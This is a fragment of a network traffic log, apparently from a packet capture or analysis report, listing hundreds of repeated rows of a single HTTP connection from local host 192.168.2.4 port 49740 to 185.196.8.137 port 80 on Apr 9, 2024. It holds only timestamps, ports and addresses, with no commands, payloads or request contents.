Apr 9, 2024 14:54:04.583554029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583586931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583610058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583628893 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583647013 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583667040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583689928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583723068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583735943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583755970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583781958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583802938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583822012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583848953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583869934 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583892107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583930969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583956003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583956003 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583967924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.583995104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584018946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584041119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584060907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584084988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584108114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584130049 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584151030 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584172964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584254026 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584284067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584320068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584347963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584374905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584433079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584584951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584635973 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584687948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584687948 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584712982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584732056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584763050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584780931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584810019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584831953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584861040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584884882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584907055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584933996 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584956884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.584983110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585005999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585033894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585186958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585215092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585237980 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585263014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585283995 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585309982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585331917 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585356951 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585380077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585407019 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585428953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585457087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585479021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585505962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585529089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585555077 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585576057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585603952 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585625887 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585650921 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585669041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585696936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585717916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585742950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585762978 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585792065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585818052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585840940 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585860968 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585890055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585911989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585937977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585958958 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.585988045 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586007118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586030960 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586054087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586081028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586103916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586128950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586150885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586179018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586200953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586227894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586250067 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586276054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586294889 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586323977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586344957 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586369991 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586391926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586416006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586437941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586463928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586487055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586513042 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586530924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586558104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586575985 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586606979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586623907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586652994 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586674929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586699009 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586721897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586747885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586771011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586798906 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586822033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586846113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586868048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586894035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586915016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586941004 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586962938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.586988926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587012053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587034941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587057114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587081909 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587100029 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587138891 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587148905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587179899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587199926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587236881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587255001 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587284088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587305069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587332964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587357998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587383986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587404966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587430000 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587450981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587477922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587513924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587610006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587637901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587716103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587745905 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587791920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587791920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587872028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587898970 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587919950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587944984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.587965012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588001966 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588010073 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588040113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588056087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588083982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588108063 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588129997 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588150024 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588174105 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588196993 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588228941 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588237047 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588269949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588290930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588315964 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588336945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588362932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588383913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588409901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588430882 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588454008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588474989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588499069 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588525057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588550091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588572025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588597059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588644028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588644028 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588668108 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588691950 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588713884 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588742018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588754892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588783979 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588799953 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588826895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588846922 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588871956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588893890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588920116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588941097 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588964939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.588987112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589010954 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589039087 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589059114 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589086056 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589103937 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589128017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589162111 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589189053 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589210033 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589236021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589257002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589281082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589303017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589328051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589344025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589371920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589389086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589416981 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589437008 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589459896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589481115 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589508057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589529037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589554071 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589575052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589601040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589622021 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589647055 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589668036 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589692116 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589706898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589735031 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589756012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589787006 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589795113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589826107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589847088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589869976 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589891911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589916945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589939117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589963913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.589984894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590009928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590029955 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590054035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590100050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590100050 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590122938 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590146065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590167999 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590192080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590214014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590240002 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590262890 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590286016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590325117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590346098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590431929 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590446949 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590477943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590517998 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590581894 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590620041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590655088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590677977 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590704918 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590734005 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590760946 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590783119 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590806961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590827942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590853930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590878010 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590900898 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590922117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590946913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590969086 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.590993881 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591015100 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591041088 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591058969 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591113091 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591188908 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591211081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591249943 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591284990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591378927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591406107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591422081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591449022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591525078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591562986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591562986 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591623068 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591664076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591685057 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591707945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591742039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591763020 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591789007 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591810942 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.591902018 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592155933 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592183113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592205048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592227936 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592247963 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592268944 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592288971 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592304945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592327118 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592346907 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592369080 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.592386961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.593554974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.593591928 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.593611956 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.593636990 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594428062 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594465017 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594489098 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594512939 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594536066 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594646931 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594688892 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594707012 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.594733000 CEST	49740	80	192.168.2.4	185.196.8.137
